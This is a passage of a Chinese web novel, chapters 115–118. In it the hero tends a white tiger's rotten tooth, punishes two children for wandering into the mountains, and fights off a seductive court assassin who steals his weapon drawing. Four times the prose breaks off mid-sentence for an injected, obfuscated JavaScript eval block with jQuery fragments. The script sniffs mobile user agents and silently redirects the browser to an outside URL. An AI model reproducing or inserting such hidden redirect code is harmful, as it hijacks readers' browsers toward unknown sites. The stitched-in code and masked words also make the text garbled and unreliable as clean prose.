紧接着在他身边趴了下来,张开血盆大口,发出低沉压抑的呜咽声,湛蓝虎眸之中似有哀求之意。
“???”
这是干啥呢?
薛猛喉头滚动,咽下一口唾沫,全身汗**都竖起来了。
愣是没搞懂这大虫想干什么。
见薛猛没有明白自己的意思,白虎又用爪子拍了拍自己的脸部,鼻子里发出短促的“呼呲”声,似在忍受某种痛苦。
薛猛定了定神,仔细打量了一番这白毛大虫,不由得惊咦一声。
咦!
这只白虎,怎么好像在哪里见过?
薛猛仔细回想了一下,一股记忆顿时涌现脑海。
“我想起来了!这不是几个月前,被几条野狗欺负的那只白虎崽子吗?”
“怎么几个月不见,长这么大了?”
确认了白虎对自己并没有攻击性,薛猛悬着的心总算放下。
见白虎满脸痛苦拍着自己的虎脸,薛猛若有所思,蹲下身,看了看白虎张开的血盆大口。
刚一凑近,一股腐烂的腥臭味扑鼻而来,熏得薛猛眼泪都快流出来了。
“我靠!”
“口气真大!”
薛猛捏着鼻子,总算是看清了让白虎痛苦低鸣的根源。
这家伙,长了颗蛀牙!
难怪口气这么大!
“你想让我帮你拔牙?”
薛猛试探问道。
白虎连忙上下晃了晃脑袋。
天啦噜!
这个人类,总算明白本王的意思了!
这几天吃了太多马鹿和山羊,把牙磕坏了,可疼死它了!
不管是撞树还是打滚,浑身解数都使尽了,那颗坏牙就是纹丝不动,折磨得它虎脸都憔悴了!
出于无奈,只得下山找薛猛求助!
为什么不找别人,专门找薛猛?
因为他善!
见白虎“点头”,薛猛愣了愣,这家伙真能听懂人话?
想当初,自己在一线天**,就是这只白虎衔来甘草,帮他解了毒!
彼此也算是孽缘不浅。
薛猛看着白虎痛苦的样子,于心不忍,叹了口气:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313079|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“行吧,你等着,我帮你想想法子!”
白虎又“点了点头”,乖乖趴在地上,像只个头巨大的病猫,忍受着牙疼带来的痛苦。
薛猛略微思索了一下,直接上手拔牙,肯定是行不通的!
万一这家伙忍不住疼,拔牙途中突然合上了嘴,他的手可就没了!
要从虎口拔牙,必须做好万全准备。
现在只能先找些消炎止痛的草药,帮它缓解一下痛苦!
薛猛打定主意,收刀入鞘,转身进山寻找草药。
薛猛前脚刚走,罗飞便带着巡猎队的人,全副武装,赶了过来。
附近出现老虎,可不是小事!
巡猎队不仅要提防响马,还要提防野兽下山,伤害村民!
所以听见虎啸的第一时间,他们就立即停下了训练,循声找来,准备猎虎。
同样被虎啸惊动的,还有山脚下捕鱼的捕鱼队!
“又有大虫?!”
“听声音离村子不远!”
“弟兄们,抄家伙,去看看怎么回事!”
捕鱼队队长张水,手拿钢铁鱼叉,招呼捕鱼队的汉子们,连忙循声赶去。
之前卧虎村附近就出现过虎啸,吓跑了薛猛的乌骓马。
大家找了好几天,都没找到虎啸的来源。
没想到现在又出现了!
这次无论如何,都得把这家伙逮住!
“秦义哥哥,是老虎的叫声,好可怕!我们还是别在这里玩儿了,快回家吧!”
秦义和村里一群小孩儿在河边抓蝴蝶抓得正欢,忽听山里传来虎啸声。
孩子们吓得小脸煞白,吵着要回家。
秦义却是憨憨一笑:“嘿嘿,这里还有老虎呢?”
“我在京城,只见过,死老虎,还,从没见过活老虎呢!”
“走,走,哥哥带你们去抓老虎玩儿,肯定比抓蝴蝶,有,有意思!”
“我们才不去呢!要去你自己去!!”
见秦义疯疯傻傻的样子,居然要带他们去抓老虎。
小孩儿们全都吓跑了。
只有林小鱼,愣在原地,眨巴着水汪汪大眼睛。
秦义看着林小鱼,斗鸡眼一瞪:“你,为啥不跑?”
“我也想看看活的老虎!”
“嘿嘿,那,行,哥哥带你去!”
“嗯嗯!”
秦义和林小鱼一个敢带,一个敢跟。
一个半大小子,一个黄毛丫头,明知山有虎,偏向虎山行!
“雅娴,大事不好啦!”
“你家小鱼被那个京城来的小傻子,带进山里去了!”
不多时,一个婶子冲进鱼胶坊,对林雅娴喊道。
“什么?这个死孩子!真是不让人省心!”
听到林小鱼进了山,林雅娴几乎快要急得昏过去。
徐瑾儿连忙招呼鱼胶坊的妇人们一起去找人。
第116章 镇场子的新武器
“蒲公英、金银花、薄荷……齐了!”
薛猛全然不知山下变故。
埋头清点着自己采到的草药,确定都齐了之后,来到林间小溪边,将草药一一清洗干净。
当薛猛带着清洗干净的草药,准备回去给白虎上药时,却听见山里传来人群的呵斥以及愤怒的虎啸。
薛猛心头一惊,连忙循声赶去。
只见白虎已经被巡猎队一群人团团围住。
“**手,放箭!”
杨虎一声令下,**手齐齐扣动**,一支支铁箭朝着白虎飙射而出。
“住手!”
薛猛一声大喊,想要阻止,但已经来不及了。
“吼!”
受惊的白虎撞断一棵大树,一跃三五米,转眼功夫就跑没了影。
大树倒下刮起的风沙,迷了几名**手的眼。
十几支铁箭全都射在了树干上,没能伤到白虎一根毫毛!
巡猎队众人纷纷垂下连**,看着手拿草药走来,阴沉着脸的薛猛。
队长杨虎诧异问道:“薛爷,您为什么让我们住手?那可是只大虫啊,若是放走它,将来伤人可怎么得了?”
薛猛斩钉截铁道:“它不会害人的!那只白虎,对我有救命之恩!”
“啊?”
薛猛此言一出,众人全都傻了眼。
老虎不都是害人的大虫吗?
怎么还会救人?
罗飞闻言,若有所思,仿佛想起了什么:“薛爷,刚才那只白虎,该不会是几个月前,咱们在一线天山谷里遇到那只虎崽子吧?”
薛猛点点头:“就是它!”
巡猎队其他人不认得那只白虎,但罗飞却认得!
想当初,那只白虎崽子虎落平阳被犬欺,还是罗飞最先出手,用飞刀**了欺负它的野狗。
罗飞一下子全想起来了:“难怪我觉得它有些眼熟!”
“当初咱们在一线天中了毒,就是它叼来甘草,给我们解了毒!”
说着,他又惭愧摇头:“没想到它现在长这么大了,我刚才一时竟没认出来!”
“大家都把武器放下吧!薛大哥说的是真的,那只白虎通人性,跟别的大虫不一样!”
听了罗飞的话,众人心中依旧半信半疑,但也不好再多说什么。
“你们都别跟着我!”
“我一个人去找它!”
薛猛驱散了巡猎队众人,独自循着倒伏的树丛、杂草,去找逃跑的白虎。
哪怕是被巡猎队的人围捕,它也没有伤人,而只是逃跑!
可见这家伙,确实是只好老虎!
“你还挺会躲啊,找了个这么好的地方!”
在山里找了半个多钟头,薛猛循着痕迹来到了一个深不见底的岩洞前,这个岩洞,正是之前那一窝华南虎的巢穴。
没想到现在被白虎鸠占鹊巢了!
薛猛将洗好的草药,放在洞口,轻声说道:“快出来吧,这里没别人,就我一个人!”
山洞里响起一声委屈的呜咽,便再没了动静。
薛猛知道,白虎受了惊,不想见人!
“行吧,你不愿意出来算了!药给你放洞口了,吃了这些草药,可以缓解疼痛!”
“你乖乖的啊,别害人!七天后,我准备好取牙药和拔牙工具,再来给你拔牙!”
留下草药,薛猛深深看了眼漆黑的岩洞,叹了口气,这才转身离去。
直到薛猛脚步声远去,黑暗的岩洞深处,方才亮起两点湛湛蓝光。
紧接着一只厚实虎爪探出,将洞口的草药扒拉了进去。
想起薛猛刚才说的话,白虎委屈极了。
笨蛋!
本王什么时候害过人?
本王要想害人,早就把你们村子的人吃光了!
……
薛猛下山后,给巡猎队、捕鱼队所有人全都打了招呼,让他们别伤害山里那只白虎!
除了罗飞,其他人都不相信一只白毛大虫,真能通人性。
但既然薛猛发了话,大家也只能听命。
“对了张水,你们捕鱼的时候,如果遇到一斤重的大鲫鱼,给我留着!”
“寇芳,你去城里给我买包**回来!”
“罗飞,你让你师父,帮我打一个钢圈,大小要刚好能塞进老虎嘴里!”
“要给老虎拔牙,这三样东西缺一不可!”
寇芳、张水、罗飞闻言,皆是一怔,不明白薛猛要一斤重的鲫鱼和**、钢圈干什么。
在场其他人也都满脸错愕。
这些东西,和给老虎拔牙,有什么关系?
但薛猛的命令,他们不敢违背,只能照办。
“好,事儿就是这么个事儿,大家都散了吧!”
薛猛挥挥手。
巡猎队众人各自散去。
“你俩先别走!”
秦义和林小鱼踮起脚尖,狗狗祟祟,本想跟着大伙儿一起开溜,却被薛猛叫住。
“姐夫,怎么了?”
林小鱼揪着小裙子,不敢抬头看薛猛的眼睛。
薛猛没好气道:“还怎么了?你一个小屁娃娃,不在学堂念书,跑上山干什么?!”
林小鱼怯怯道:“茅仪先生走了,学堂没有先生,我们都放假了呀!”
“我上山,也是想帮你们抓老虎!”
抓老虎?
薛猛气极反笑。
这个小屁娃,一天天皮得要死!
幸好这次遇到是从不害人的白虎,要是遇上了华南虎,后果不堪设想!
“我看你是皮痒了!”
薛猛一把将林小鱼夹在腋下,**,狠狠在她屁股上打了几巴掌。
“还抓不抓老虎?”
林小鱼疼的哇哇大哭起来!
恰在这时,林雅娴和徐瑾儿,带着村里的妇人们,手里拿着棍棒、锄头,着急忙慌赶了过来。
看见林雅娴,林小鱼宛若见到了救星,连忙大喊:“姐姐!快来救我,姐夫坏!他要打烂我的屁屁!”
“打烂才好!免得你一天天瞎跑!你知道山里有多危险吗?要是让老虎把你吃了,娘和姐姐得多伤心呀!”
林雅娴非但没有替林小鱼求情,反而从一旁树丛里撇下一根树枝,气冲冲地就要**。
“啊啊……姐姐坏!”
**!
惨遭姐姐、姐夫男女混合双打!
林小鱼疼得哇哇大叫!
屁股都要开花了!
“姑,姑爷爷,大,大师娘!你们,别打了!”
见林小鱼挨打,秦义顿时过意不去了。
“是我,带小鱼,进山的!不怪她!”
“哦对,我差点忘了你!!这么大个人,一天天带着小孩儿不干正事,看我怎么收拾你!”
薛猛一扭头,看着秦义这家伙就气不打一处来。
啪!
二话不说,抄起一根木棍,就往秦义屁股上抽。
“啊啊!”
秦义被打得上蹿下跳,满村子跑。
薛猛抄起木棍,在后面追。
在京城,从来都是秦义打别人,没人敢打他!
连爷爷秦雄,都从来没打过他的屁股。
若是换了别人,敢打他屁股,秦义早就发狂了!
但薛猛打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313080|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他,他愣是不敢还手。
挨了一顿打后。
秦义皮糙肉厚,倒是没什么大碍,而林小鱼则是躺在床上,起都起不来。
林小鱼抹着眼泪,怂恿秦义:“秦义哥哥,我姐夫太过分了!我们一定要想个法子报仇!”
秦义却是怂了:“小鱼妹子,我可不敢打姑爷爷!”
林小鱼眨眼道:“你为啥总管我姐夫叫姑爷爷?”
秦义老实巴交:“姑奶奶让我这么叫的!”
“姑奶奶又是谁?”
“姑,姑奶奶高高的,穿红衣服,兔子大大的,一动就乱跳!”
“你是说裴红玉姐姐?”
“嗯嗯,就是她……”
不经意间,林小鱼从秦义口中,套出了一个不得了的事情!
“你是说?我姐夫居然背着我姐姐,和裴姐姐在小树林里脱了衣服打架?”
“好哇!我一定要把这件事情,告诉姐姐!”
“你俩又在叽里咕噜憋什么坏水儿呢!”
就在这时,林雅娴拿着一罐药泥进了屋。
“屁股都打烂了,还不老实!”
林雅娴嘴上骂着,但到底还是心软了,来到床边,扒开林小鱼裤子,给她抹药。
见林小鱼光屁股,秦义脸一红,连忙跑了出去。
“这傻秦义,还知道怕羞呢!”
林雅娴给林小鱼抹完药,起身要走,却被林小鱼的小爪子拽住裙摆。
“姐姐,我有个天大的秘密,要告诉你!”
见林小鱼神秘兮兮的小模样,林雅娴在床边坐下,问道:“什么秘密?”
“秦义哥哥说,姐夫和裴姐姐,在小树林里,脱了衣服打架!”
“你胡说什么!”
林雅娴美眸圆瞪,扬起巴掌,就要抽林小鱼。
但最终,这一巴掌还是没有落下去。
“这事儿是真的?”
林雅娴忍不住问道。
林小鱼怯生生点了下小脑袋。
“这件事情,不许说出去,不然我把你的屁股打肿打烂!!”
见林雅娴发了火,林小鱼吓得不敢吭声,有些后悔把这件事告诉姐姐了。
林雅娴平复了一下情绪,转身出了门。
偷吃自家男人的“坏女人”,找到了!
林雅娴找到徐瑾儿,把这事儿跟她说了说,姐妹俩一合计,又去西厢房找赵氏拿个主意。
赵氏听完林雅娴的话,皱眉道:“这就怪了!老身先前跟裴姑娘提过让她嫁进薛家,可她不同意啊!”
“怎地现在又偷着吃?”
林雅娴思来想去,只想到一个可能性。
“看来裴家妹子,是不愿做小妾!”
“以她那要强的个性,若要她嫁入薛家,定然是要做大的!”
徐瑾儿蹙眉道:“那怎么能行,你才是大娘子!”
林雅娴叹了口气,她一向鼓励薛猛多纳妾,多为薛家添丁,实在不想争什么。
“罢了,顺其自然!我们做好自己分内的事就好!”
“长根儿若要裴姑娘做大娘子,我自愿让贤就是了!”
林雅娴嘴上虽是善解人意,满不在乎,可眼里却有一抹泪光一闪而逝。
……
月光如水,静默无言。
书房里,薛猛点灯熬油,埋头绘制着一个极其复杂的图纸,全然不知自家后院起了火。
他现在满脑子都是随时可能前来袭扰的匪兵。
成千上万的匪兵响马,光靠巡猎队和老鸦坎这百八十人,肯定难以招架。
他现在急需要一个能够镇得住场子的新武器!
第117章 玉体横陈
刷刷!
薛猛用石磨黏土自制的铅笔,在草纸上刷刷作响,留下一根根清晰细致的线条。
还别说,铅笔就是比毛笔绘图更加方便。
即使绘制复杂细致的结构,也不用再担心墨水晕染,糊成一团。
而且画错了的地方,也可以随时涂改。
删删改改,画了好几遍,看着草纸上初显的新武器图纸构造图,薛猛打了个哈欠,只觉一股困意席卷而来。
不知不觉间,竟趴在桌子上睡着了。
吱嘎一声,林雅娴抱着一床薄毯,推门而入。
轻手轻脚来到薛猛身边,见薛猛睡得正香,轻叹一声,不忍心叫醒薛猛。
林雅娴很清楚自家男人的性子,薛猛一旦醒了,肯定又会通宵画图。
将薄毯轻轻披在了薛猛身上,吹熄油灯,便带上门出去了。
林雅娴前脚刚走没一会儿,一大一小两道黑影,狗狗祟祟来到了书房门口。
“小鱼妹子,咱们真的要偷姑爷爷的铅笔吗?万一被他发现了,又该打咱们屁股了!”
黑暗中,秦义压低声说道。
“哼!坏姐夫打我屁屁,姐姐又不帮我,我一定要报这个仇!”
林小鱼人小鬼大,气鼓鼓道:“还有,你别一口一个小鱼妹子的,你管我姐夫叫姑爷爷,管我姐姐叫师娘,按辈分,你得管我叫鱼姨!”
“鱼姨?”
秦义挠了挠头,想了想,点头道:“好的,鱼,鱼姨!”
见秦义这么听话,林小鱼很是满意,叉腰命令道:“乖侄儿,我现在以鱼姨的身份命令你,去把我姐夫的铅笔偷出来!”
林小鱼早就看上薛猛的铅笔了。
不需要沾墨水就能写字画画,并且写完之后,还可以轻松擦掉!
这么神奇的笔,哪个小孩儿能拒绝?
之前在学堂里,林小鱼一直跟同学炫耀,但同学们全都不相信,以为林小鱼在吹牛。
林小鱼想找薛猛要铅笔去给同学看,薛猛却说这铅笔很贵重,不肯给她!
小丫头心里本来就不开心,今天又因为进山的事情,被薛猛打了屁股。
林小鱼气不过,决定偷铅笔藏起来,让薛猛好好着急一下!
想起白天薛猛发火的样子,秦义心有余悸,连忙摇头拒绝:“我不敢去!”
林小鱼小嘴一噘,威胁道:“你不去的话,鱼姨以后不跟你玩儿了哦!”
秦义低下头,内心纠结。
大人不搭理他!
小孩儿又害怕他!
在卧虎村,他只有林小鱼这么一个朋友!
要是林小鱼不跟他玩儿,他就没朋友了!
秦义一抹额角细汗,咬牙道:“行吧!鱼姨,为了你,我去!”
为了朋友,秦义决定豁出去了!
一大一小两道黑影,蹑手蹑脚推开房门,钻进了书房。
“小点声,别把我姐夫弄醒了。”
“我记得铅笔全都装在一个木盒子里面。”
“找木盒子就行!”
屋里黑灯瞎火,二人摸着黑,轻手轻脚地四处摸索,寻找装铅笔的盒子。
“鱼,鱼姨,我好像摸到了!”
砰砰砰!
秦义话音刚落,忽听门外响起敲门声。
黑暗中,二人四目相对,全都吓出一身冷汗。
大半夜的,怎么还有人来?
“快过来!到这边来!”
林小鱼拽了拽秦义衣摆,带着秦义躲进了一排书架后面。
敲门声只响了三下,薛猛睡得很香,并没有醒过来。
林小鱼和秦义两个人猫在书架后,透过书架缝隙,看向门口。
只听一声轻响,房门被人从外推开,一条雪白纤细的玉腿,探了进来。
林小鱼瞪大眼睛,只见一个紫色薄纱半遮桃花粉面,只穿着红色肚兜的女人,出现在书房门口。
女人手里提着灯笼,殷红光线映照出她曼妙的身姿和风情万种的眉眼。
纤腰若柳,香肩如脂,乌云秀发盘在脑后。
一进屋,满屋子都是花瓣的幽香!
秦义看得面红耳赤,心跳加速。
长这么大,他还是第一回见到女人衣服下的雪白身体!
林小鱼做了个噤声的手势,示意秦义别出声,她想看看这女**半夜穿成这样,来姐夫书房到底想干什么!
总不能,也是来偷铅笔的吧?
女人提着灯笼,四下打量了一番,看见薛猛趴在桌上熟睡,轻手轻脚来到书桌前。
伸出一只玉手,轻轻抚摸薛猛的身体。
薛猛正做噩梦呢,在梦里他被人强行披上了龙袍。
后宫佳丽三千,抢着要跟他生娃!
各路英雄豪杰,抬着他坐上龙椅!
“你们害苦了朕呐!”
薛猛嘴里正叫苦不迭,忽然感觉自己身上麻麻痒痒的,像被一条蛇缠住了一样。
并且,那条蛇忽然张开血盆大口,呼出腥风,朝他咬来!
薛猛“啊”的一声惊叫,瞬间从噩梦中惊醒,浑身都被冷汗湿透了!
“薛郎,你醒了?”
薛猛缓缓睁开眼,发现自己趴在桌上睡着了,一股温香扑鼻而来。
一抬头,只见一具活色生香的雪白玉体,横陈于书桌之上。
粉润玉足,蹭着他的衣服。
从薛猛的角度看去,曼妙风景一览无余。
薛猛虎目圆瞪,看傻了眼。
这是哪里冒出来的大宝贝儿?
虽说书中自有颜如玉,但自己也没看书啊?
薛猛严重怀疑自己还没睡醒!
狠狠掐了自己大腿一把,清晰的疼痛感让薛猛不禁皱眉咬牙。
咋回事!
这不是梦,是真的?
“你是谁?!”
薛猛腾地一下站了起来,警惕地看着书桌上戴着紫色面纱,搔首弄姿,衣不蔽体的陌生女人。
“薛郎,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313081|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我是谁不重要,重要的是春宵一刻值千金!”
“你难道不想,与奴家共度春宵么?”
女人玉手轻抚着自己的身体曲线,眉眼含笑,妩媚勾人,显然对自己的姿色颇为自信。
薛猛顿觉口干舌燥。
作为一个血气方刚的正常男人,面对这样一具雪腻酥香的横陈玉体,说没点冲动,是不可能的!
但薛猛并非小头控制大头的蠢货,男人可以好色,但不能成为美色的奴隶!
天底下没有白吃的美餐!
眼前这女人,来历不明,一上来就赤果果的勾引!
鬼知道是何居心!
薛猛目光警惕,一步步向后退去,和女人保持着安全距离。
退至墙边,伸手取下刀架上放着的警恶刀,目光湛湛,作势便要拔刀:“你到底是什么人?为何大半夜潜入我家?”
“若不速速从实招来,一律视作盗贼拿下!”
见薛猛这等反应,那女人倒是略微有些吃惊,随即轻柔一笑。
“呵呵,不愧是鲟鱼胶的发明者,面对美色引诱,却能保持冷静!”
“迄今为止,你还是第一个拒绝我的人!”
女人随手拈起书桌上的武器图纸,看了看,赞叹不已:“薛郎真是旷世奇才,竟然能够想出如此惊人的大杀器!”
“德妃娘娘让我杀了你!”
“我还真有些不忍心!”
德妃?
杀了我?
薛猛闻言一惊,脑中思绪翻飞,却是压根不认得什么德妃。
女人随手将武器图纸收入肚兜,一改先前妩媚之态,起身朝薛猛缓缓靠近。
举手投足,气势非凡,犹如一朵带刺的危险红玫!
“自我介绍一下吧,我乃京城影卫‘夜含香’,效命于德秀宫主德妃娘娘。”
“自你离开京城的那一刻起,我就一直跟在你身边。”
“只为取你性命!”
“什么?”
薛猛额角垂下一滴冷汗。
被人跟踪了一路,自己却没有半分察觉!
此人潜踪匿迹的本事,得有多恐怖?
薛猛虎目微眯,紧紧握住刀柄,摆出防御架势。
夜含香伸手卷弄着鬓角垂下的秀发,目光戏谑地睥睨着薛猛:“如果你刚才同意与我共度良宵,奴家可以让你在人间极乐之中飘然而逝,不会感到丝毫痛苦!”
“可惜你拒绝了我!”
“我倒有些不舍得杀你了!”
夜含香说着,一扭身走向窗前,欣赏起了窗外的月色。
看着夜含香如白玉无瑕的雪白美背,薛猛握刀的手先是一紧,随即又缓缓松开。
若无十足的把握,怎敢背对敌人?
这个女人的实力,只怕远在自己之上!
只要对方愿意,随时都可以取走自己性命!
隐藏在书架后的秦义、林小鱼,全都瞪大眼睛,紧张地看着眼前发生的这一幕。
第118章 折梅手,含香步!
薛猛缓缓向门口挪步,暗中计算着最佳的攻击角度,嘴上说话想要转移对方注意力:“我根本不认识什么德妃,与她无冤无仇,她为何要派你来杀我?”
“我给你讲个故事,你就明白了!”
夜含香的脖子像天鹅一样高高扬起,仰望着天上皎洁的明月,朱唇轻启:“有个乡下的孩子,在山里挖出一堆宝贝,抱着宝贝来到京城,招摇过市,把宝贝卖给了宫里的一位妃子!”
“这位妃子,将这些宝贝献给了皇太后,在朝堂之上出尽风头,被皇上封了贵妃!”
“皇上日日宠幸这位贵妃,而冷落了其他妃子!”
“其他妃子奈何不得那位贵妃,只能把气撒在乡下孩子身上,想要夺走乡下孩子的宝贝!”
“孩子到死,都不知道自己怎么得罪了宫里的妃子!”
明白了!
搞了半天,德妃是贤妃的对头!
两个妃子宫斗,自己被殃及池鱼了!
薛猛听出了对方话里的言外之意,挑眉道:“你是想说,我就是那个抱着宝贝招摇过市的乡下孩子?”
“贤妃靠着我的鱼胶,抢了德妃的风头,德妃气不过,就想弄死我,垄断鱼胶的制作工艺?”
夜含香轻轻颔首,旋即又摇头:“德妃娘娘只知道你发明了鱼胶,却不知道你还发明了铁锅、连**、钢刀、**!”
“还有你刚才画的新武器!每一样都是足以震惊整个大虞的宝贝!”
“我相信,如果我把这些东西的制作工艺全都带回京城,德妃娘娘一定会喜欢的!”
跟踪薛猛小半个月,夜含香已经把薛猛的底细彻底摸透。
这也是为什么她迟迟没有对薛猛下手的原因,因为越了解薛猛,就会发现薛猛身上实在藏着太多惊喜!
就这么杀了,未免太可惜!
薛猛闻言,心弦一紧,盯着夜含香的背影,心中升起一股杀意。
此人知道得太多了,决不能留!
若是让她将自己的老底公之于众!
自己的下场无非两种。
其一是被朝廷招安,从此当牛做马,听凭官府使唤!
其二则是被朝廷夺走自己发明的这些黑科技,然后随便找个私藏武器的罪名,满门抄斩,斩草除根!
以大虞皇室的尿性,大概率是后面这种下场!
横竖都是死!
薛猛反倒不再畏惧,沉声道:“那还等什么,动手吧!”
“要么你杀了我,永远得不到你想要的东西!”
“要么我杀了你,让你永远替我保守秘密!”
夜含香回眸一笑,语气平静近乎默然:“我若是想杀你,你已经**一百次了。”
薛猛心中一寒,汗**倒竖,只觉对方的笑意千娇百媚,却又毒如蛇蝎!
夜含香红唇轻勾:“你是个好人!”
“在玉娘村,你为了救一群素不相识的村民,不惜得罪黑风岭响马!”
“我实在不忍心杀你!”
“只要你乖乖交出鱼胶、铁锅、钢刀、连**的制作工艺,等我回宫复命必定替你求情,让德妃娘娘饶你一命!”
鱼胶、铁锅,是薛猛的主要财源!
钢刀、连**,更是在这乱世之中的立身之本!
让薛猛交出这些东西的制作工艺,无疑于让他自断手足!
薛猛冷冷一笑:“交给你可以,但就看你,有没有这个本事接得住了!”
锵!
一声爆鸣响彻书房。
三尺春冰骤然出鞘,化作一道雪色匹练,随着薛猛蓄谋已久的攻势,径直朝着夜含香咽喉抹去!
这一刀,是薛猛经过反复计算,找准最佳攻击角度,发起的致命一击!
然而,眼看薛猛的刀锋,就要抹过夜含香的雪颈!
却不料,夜含香红唇轻勾,眼含讥笑,浑然不惧。
刷!
薛猛眼前一花,还没反应过来怎么回事,一只玉手便已探出,朝着他虎口处轻轻一拂。
“呃啊!”
薛猛顿时如遭电打,手腕一麻,五指松开刀柄。
咣当一声脆响!
长刀脱手落地。
薛猛急忙弯腰捡刀,然而夜含香已然欺身上前,一条修长玉腿刮起狂风,啪的一下扫在他脸上。
“噗!”
薛猛嘴角溢出瘀血,整个人被扫翻在地,还没等他从地上爬起来,一只玉手已经一把擒住他的咽喉。
“呃啊……”
对方五指轻轻一扣,薛猛脖子上的皮肤,便渗出丝丝血迹。
薛猛心中震惊不已,深知夜含香只需稍微用力,便可取走自己小命儿。
实力悬殊太大了!
“给我老实点!”
夜含香抓住薛猛肩膀肩井穴,将他强行带到书桌前,摁着他坐下。
语气再没了先前的妩媚柔情,而是透着不耐烦的冷酷杀意:“把鱼胶、连**、钢刀、铁锅的制作工艺,全部写下来!”
“再敢耍花招,我要你的命!”
夜含香话音刚落,忽听一声大喝响起,斜刺里一道黑影紧跟着朝她撞了过来!
“妖女!休要伤我姑爷爷!!”
薛猛一怔,循声扭头看去,只见秦义不知何时出现在书房里,宛若一头疯牛扑向夜含香。
夜含香美眸一惊,避之不及,被秦义直接撞飞了出去!
砰!
夜含香后背重重撞在门板上,直接连同整个木门都被撞碎,飞出了书房。
“别跑!我要,打死你!”
秦义一双斗鸡眼血色交织,紧跟着冲了出去。
啪嗒。
一个木盒子掉落在地,里面的铅笔滚落而出。
薛猛扭头一看,只见林小鱼小脸煞白,小手颤抖,怯生生站在一旁。
来不及思考秦义和林小鱼为什么会出现在书房里,听见庭院里激烈的打斗声,薛猛连忙捡起掉落在地的长刀,追了出去。
砰!啪、啪!
庭院中,秦义和夜含香打得有来有回。
秦义势如疯牛,横冲直撞,若是换了常人,被他撞上不死也是个半残!
但夜含香虽被秦义撞飞,却并没有倒地吐血,而是顺势张开双臂,向后滑行,脚尖点地,巧妙卸去了秦义的惊人力道。
“啊,还跑,我打死你!!”
秦义气急败坏,大踏步追上前去,提起拳头,便朝夜含香胸口雪白打去。
夜含香非但不惧,反而以一种古怪的步伐,犹如跗骨之蛆,围绕着秦义来回穿梭滑行。
秦义空有一身蛮力,奈何反应太慢,每一拳都从夜含香滑腻如瓷的皮肤上擦身而过。
一番交锋之下来,秦义累得气喘吁吁,满头大汗,却没能伤到夜含香一根毫毛!
薛猛看着夜含香诡异的步伐,大吃一惊。
这是什么功夫?
即便他出身医武世家,也从没见过这么古怪的功夫!
有点像前世传武的八卦趟泥步,但又比趟泥步更加变化多端!
刺啦!
一道裂帛之声响起。
秦义胸口的衣服骤然被夜含香五指抓破!
纤纤玉手轻拂而过,犹如铁锨犁地,在秦义胸口留下了五
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313082|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道瘆人血沟!
眼看夜含香眸光一寒,瞅准秦义咽喉,五指如钩,便要痛下**!
“看刀!!”
薛猛大喝一声,急忙掠步抽刀斩去!
刷!
刀锋呼啸而过。
夜含香听见薛猛的喝声,下意识一惊,不得不缩回手来。
刷刷刷!
薛猛虎目圆瞪,使出浑身气力,一连三刀,扫腿、截腰、抹颈!
逼得夜含香不得不向后退去!
秦义缓了口气,抱起步道旁的大理石灯台,便要朝夜含香头顶砸去!
砰!!
灯台砸落在地,发出粉碎巨响。
但却没能伤到夜含香。
面对薛猛、秦义二人**,夜含香依然不落下风。
依靠巧妙的身法,时而如飞花落雁,时而似灵蛇游步,自如穿梭在二人的夹缝之间。
恰在这时,密集脚步声从前院传来。
“抓贼啊!”
显然打斗动静,惊动了薛家其他人。
“哼,来人了!不跟你们玩儿了!”
夜含香冷笑一声,双掌齐出,啪啪两巴掌,分别抽在薛猛和秦义脸上!
“啊……”
这一巴掌力道惊人,打得薛猛和秦义二人晕头转向。
耳朵里像进了蜜蜂一样,嗡嗡直响,眼冒金星,分不清东南西北。
等寇芳带着大刀队的人循声赶到,夜含香早已不见了踪影。
庭院之中,只留下梅花般的淡淡幽香。
闻到这股花香,寇芳纤眉轻皱。
看了看地面上留下的步伐滑行痕迹,以及薛猛、秦义二人脸上、身上的伤势,顿时大惊失色。
“折梅手,含香步?!”
